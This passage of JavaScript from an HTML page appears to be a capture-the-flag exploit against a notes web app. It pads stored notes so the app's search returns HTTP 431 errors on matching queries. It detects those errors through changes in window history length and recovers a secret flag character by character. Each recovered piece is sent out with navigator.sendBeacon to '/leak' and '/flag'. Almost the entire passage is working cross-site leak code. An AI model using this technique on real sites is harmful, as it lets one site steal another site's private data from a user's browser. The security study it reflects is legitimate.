    const prepare = async (prefix) => {
      if (prepared.has(prefix)) return;
      prepared.add(prefix);

      const initialLen = 443;
      const part = "\n        <li>" + "</li>\n      ";

      let len = initialLen;
      while (16 ** 3 - len - part.length - 1 > 0) {
        const note = prefix.padEnd(
          Math.min(1024, 16 ** 3 - len - part.length - 1),
          "*"
        );
        len += note.length + part.length;
        await createNote(note);
      }
    };

    let win = open("about:blank");

    const getUrl = (prefix, padLength, nonce) =>
      `${BASE_URL}/?${new URLSearchParams({
        query: prefix,
        pad: nonce.padEnd(padLength, "x"),
      })}`;

    const got431 = async (prefix, padLength) => {
      await prepare(prefix);

      const nonce = (Math.random() + "").padEnd(20, "0");
      const url = getUrl(prefix, padLength, nonce);

      const len1 = win.history.length;

      win.location = url;
      await sleep(100);
      win.location = url;
      await sleep(100);
      win.location = "about:blank";
      await sleep(100);
      const len2 = win.history.length;

      const diff = len2 - len1;
      // If a 431 error occurs: diff === 2
      // Otherwise: diff === 3

      if (len2 > 45) {
        // In Chromium, the maximum number of `history.length` is 50.
        // ref. https://source.chromium.org/chromium/chromium/src/+/df9f2fd80f9b8697c877c2c7e7f19d9f389291b8:third_party/blink/public/common/history/session_history_constants.h;l=11
        win.close();
        win = open("about:blank");
        await sleep(100);
      }

      debug({ prefix, len1, len2, diff });
      return diff === 2;
    };

    let left = 10000;
    let right = 18000;
    const getThreshold = async () => {
      left -= 50;
      while (right - left > 1) {
        const mid = (right + left) >> 1;
        if (await got431(known + "X", mid)) {
          right = mid;
        } else {
          left = mid;
        }
      }

      return left;
    };

    while (true) {
      const threshold = await getThreshold();
      debug({ length: known.length, threshold });
      let exists = false;
      for (const c of CHARS) {
        if (await got431(known + c, threshold)) {
          known += c;
          exists = true;
          navigator.sendBeacon("/leak", known);
          break;
        }
      }
      if (!exists) break;
    }

    const flag = known + "}";
    navigator.sendBeacon("/flag", flag);
  </script>
</body>